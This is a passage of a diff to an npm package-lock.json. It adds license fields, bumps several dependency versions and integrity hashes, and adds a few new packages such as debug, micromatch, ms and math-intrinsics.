+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -8933,12 +9910,14 @@
     "node_modules/lazystream/node_modules/safe-buffer": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
     },
     "node_modules/lazystream/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -8948,6 +9927,7 @@
       "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
       "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "^1.2.1",
         "type-check": "~0.4.0"
@@ -8960,6 +9940,7 @@
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
       "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
+      "license": "MIT",
       "dependencies": {
         "immediate": "~3.0.5"
       }
@@ -8969,6 +9950,7 @@
       "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
       "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -8977,13 +9959,15 @@
       "version": "1.2.4",
       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
       "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/lint-staged": {
       "version": "13.3.0",
       "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-13.3.0.tgz",
       "integrity": "sha512-mPRtrYnipYYv1FEE134ufbWpeggNTo+O/UPzngoaKzbzHAthvR55am+8GfHTnqNRQVRRrYQLGW9ZyUoD7DsBHQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chalk": "5.3.0",
         "commander": "11.0.0",
@@ -9011,6 +9995,7 @@
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.3.0.tgz",
       "integrity": "sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "^12.17.0 || ^14.13 || >=16.0.0"
       },
@@ -9023,15 +10008,56 @@
       "resolved": "https://registry.npmjs.org/commander/-/commander-11.0.0.tgz",
       "integrity": "sha512-9HMlXtt/BNoYr8ooyjjNRdIilOTkVJXB+GhxMTtOKwk0R4j4lS4NpjuqmRxroBfnfTSHQIHQB7wryHhXarNjmQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=16"
       }
     },
+    "node_modules/lint-staged/node_modules/debug": {
+      "version": "4.3.4",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ms": "2.1.2"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/lint-staged/node_modules/micromatch": {
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+      "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "braces": "^3.0.2",
+        "picomatch": "^2.3.1"
+      },
+      "engines": {
+        "node": ">=8.6"
+      }
+    },
+    "node_modules/lint-staged/node_modules/ms": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/lint-staged/node_modules/yaml": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.1.tgz",
       "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">= 14"
       }
@@ -9041,6 +10067,7 @@
       "resolved": "https://registry.npmjs.org/listr2/-/listr2-6.6.1.tgz",
       "integrity": "sha512-+rAXGHh0fkEWdXBmX+L6mmfmXmXvDGEKzkjxO+8mP3+nI/r/CWznVBvsibXdxda9Zz0OW2e2ikphN3OwCT/jSg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cli-truncate": "^3.1.0",
         "colorette": "^2.0.20",
@@ -9062,10 +10089,11 @@
       }
     },
     "node_modules/listr2/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -9078,6 +10106,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
       "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -9089,13 +10118,15 @@
       "version": "9.2.2",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
       "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/listr2/node_modules/string-width": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
       "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "eastasianwidth": "^0.2.0",
         "emoji-regex": "^9.2.2",
@@ -9113,6 +10144,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -9128,6 +10160,7 @@
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
       "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^6.1.0",
         "string-width": "^5.0.1",
@@ -9145,6 +10178,7 @@
       "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz",
       "integrity": "sha512-Kx8hMakjX03tiGTLAIdJ+lL0htKnXjEZN6hk/tozf/WOuYGdZBJrZ+rCJRbVCugsjB3jMLn9746NsQIf5VjBMw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.1.2",
         "parse-json": "^4.0.0",
@@ -9160,6 +10194,7 @@
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
       "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "error-ex": "^1.3.1",
         "json-parse-better-errors": "^1.0.1"
@@ -9173,6 +10208,7 @@
       "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
       "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -9182,6 +10218,7 @@
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
       "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -9191,6 +10228,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
       "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^5.0.0"
       },
@@ -9204,74 +10242,90 @@
     "node_modules/lodash": {
       "version": "4.17.21",
       "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+      "license": "MIT"
     },
     "node_modules/lodash.defaults": {
       "version": "4.2.0",
       "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",
-      "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ=="
+      "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==",
+      "license": "MIT"
     },
     "node_modules/lodash.difference": {
       "version": "4.5.0",
       "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz",
-      "integrity": "sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA=="
+      "integrity": "sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==",
+      "license": "MIT"
     },
     "node_modules/lodash.flatten": {
       "version": "4.4.0",
       "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz",
-      "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g=="
+      "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==",
+      "license": "MIT"
     },
     "node_modules/lodash.flattendeep": {
       "version": "4.4.0",
       "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
       "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/lodash.get": {
       "version": "4.4.2",
       "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
-      "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ=="
+      "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==",
+      "deprecated": "This package is deprecated. Use the optional chaining (?.) operator instead.",
+      "license": "MIT"
     },
     "node_modules/lodash.ismatch": {
       "version": "4.4.0",
       "resolved": "https://registry.npmjs.org/lodash.ismatch/-/lodash.ismatch-4.4.0.tgz",
       "integrity": "sha512-fPMfXjGQEV9Xsq/8MTSgUf255gawYRbjwMyDbcvDhXgV7enSZA0hynz6vMPnpAb5iONEzBHBPsT+0zes5Z301g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/lodash.isplainobject": {
       "version": "4.0.6",
       "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
-      "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA=="
+      "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
+      "license": "MIT"
     },
     "node_modules/lodash.merge": {
       "version": "4.6.2",
       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
       "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/lodash.union": {
       "version": "4.6.0",
       "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz",
-      "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw=="
+      "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==",
+      "license": "MIT"
     },
     "node_modules/log": {
-      "version": "6.3.1",
-      "resolved": "https://registry.npmjs.org/log/-/log-6.3.1.tgz",
-      "integrity": "sha512-McG47rJEWOkXTDioZzQNydAVvZNeEkSyLJ1VWkFwfW+o1knW+QSi8D1KjPn/TnctV+q99lkvJNe1f0E1IjfY2A==",
+      "version": "6.3.2",
+      "resolved": "https://registry.npmjs.org/log/-/log-6.3.2.tgz",
+      "integrity": "sha512-ek8NRg/OPvS9ISOJNWNAz5vZcpYacWNFDWNJjj5OXsc6YuKacfey6wF04cXz/tOJIVrZ2nGSkHpAY5qKtF6ISg==",
+      "license": "ISC",
       "dependencies": {
-        "d": "^1.0.1",
+        "d": "^1.0.2",
         "duration": "^0.2.2",
-        "es5-ext": "^0.10.53",
+        "es5-ext": "^0.10.64",
         "event-emitter": "^0.3.5",
-        "sprintf-kit": "^2.0.1",
-        "type": "^2.5.0",
+        "sprintf-kit": "^2.0.2",
+        "type": "^2.7.3",
         "uni-global": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/log-node": {
       "version": "8.0.3",
       "resolved": "https://registry.npmjs.org/log-node/-/log-node-8.0.3.tgz",
       "integrity": "sha512-1UBwzgYiCIDFs8A0rM2QdBFo8Wd8UQ0HrSTu/MNI+/2zN3NoHRj2fhplurAyuxTYUXu3Oohugq1jAn5s05u1MQ==",
+      "license": "ISC",
       "dependencies": {
         "ansi-regex": "^5.0.1",
         "cli-color": "^2.0.1",
@@ -9293,6 +10347,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
       "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.1.0",
         "is-unicode-supported": "^0.1.0"
@@ -9309,6 +10364,7 @@
       "resolved": "https://registry.npmjs.org/log-update/-/log-update-5.0.1.tgz",
       "integrity": "sha512-5UtUDQ/6edw4ofyljDNcOVJQ4c7OjDro4h3y8e1GQL5iYElYclVHJ3zeWchylvMaKnDbDilC8irOVyexnA/Slw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^5.0.0",
         "cli-cursor": "^4.0.0",
@@ -9328,6 +10384,7 @@
       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-5.0.0.tgz",
       "integrity": "sha512-5GFMVX8HqE/TB+FuBJGuO5XG0WrsA6ptUqoODaT/n9mmUaZFkqnBueB4leqGBCmrUHnCnC4PCZTCd0E7QQ83bA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "type-fest": "^1.0.2"
       },
@@ -9339,10 +10396,11 @@
       }
     },
     "node_modules/log-update/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -9355,6 +10413,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
       "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -9367,6 +10426,7 @@
       "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-4.0.0.tgz",
       "integrity": "sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "restore-cursor": "^4.0.0"
       },
@@ -9381,13 +10441,15 @@
       "version": "9.2.2",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
       "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/log-update/node_modules/restore-cursor": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-4.0.0.tgz",
       "integrity": "sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "onetime": "^5.1.0",
         "signal-exit": "^3.0.2"
@@ -9404,6 +10466,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
       "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "eastasianwidth": "^0.2.0",
         "emoji-regex": "^9.2.2",
@@ -9421,6 +10484,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -9436,6 +10500,7 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
       "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -9448,6 +10513,7 @@
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
       "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^6.1.0",
         "string-width": "^5.0.1",
@@ -9465,6 +10531,7 @@
       "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz",
       "integrity": "sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "get-func-name": "^2.0.1"
       }
@@ -9473,6 +10540,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
       "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -9481,6 +10549,8 @@
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
       "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "dev": true,
+      "license": "ISC",
       "dependencies": {
         "yallist": "^4.0.0"
       },
@@ -9492,6 +10562,7 @@
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz",
       "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==",
+      "license": "MIT",
       "dependencies": {
         "es5-ext": "~0.10.2"
       }
@@ -9500,6 +10571,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",
       "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==",
+      "license": "MIT",
       "dependencies": {
         "semver": "^7.5.3"
       },
@@ -9515,6 +10587,7 @@
       "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz",
       "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -9522,19 +10595,32 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/math-intrinsics": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+      "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/memoizee": {
-      "version": "0.4.15",
-      "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz",
-      "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==",
+      "version": "0.4.17",
+      "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz",
+      "integrity": "sha512-DGqD7Hjpi/1or4F/aYAspXKNm5Yili0QDAFAY4QYvpqpgiY6+1jOfqpmByzjxbWd/T9mChbCArXAbDAsTm5oXA==",
+      "license": "ISC",
       "dependencies": {
-        "d": "^1.0.1",
-        "es5-ext": "^0.10.53",
+        "d": "^1.0.2",
+        "es5-ext": "^0.10.64",
         "es6-weak-map": "^2.0.3",
         "event-emitter": "^0.3.5",
         "is-promise": "^2.2.2",
         "lru-queue": "^0.1.0",
         "next-tick": "^1.1.0",
         "timers-ext": "^0.1.7"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/meow": {
@@ -9542,6 +10628,7 @@
       "resolved": "https://registry.npmjs.org/meow/-/meow-8.1.2.tgz",
       "integrity": "sha512-r85E3NdZ+mpYk1C6RjPFEMSE+s1iZMuHtsHAqY0DT3jZczl0diWUZ8g6oU7h0M9cD2EL+PzaYghhCLzR0ZNn5Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/minimist": "^1.2.0",
         "camelcase-keys": "^6.2.2",
@@ -9567,6 +10654,7 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz",
       "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -9579,6 +10667,7 @@
       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
       "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
@@ -9587,12 +10676,14 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
       "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/merge2": {
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
       "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 8"
       }
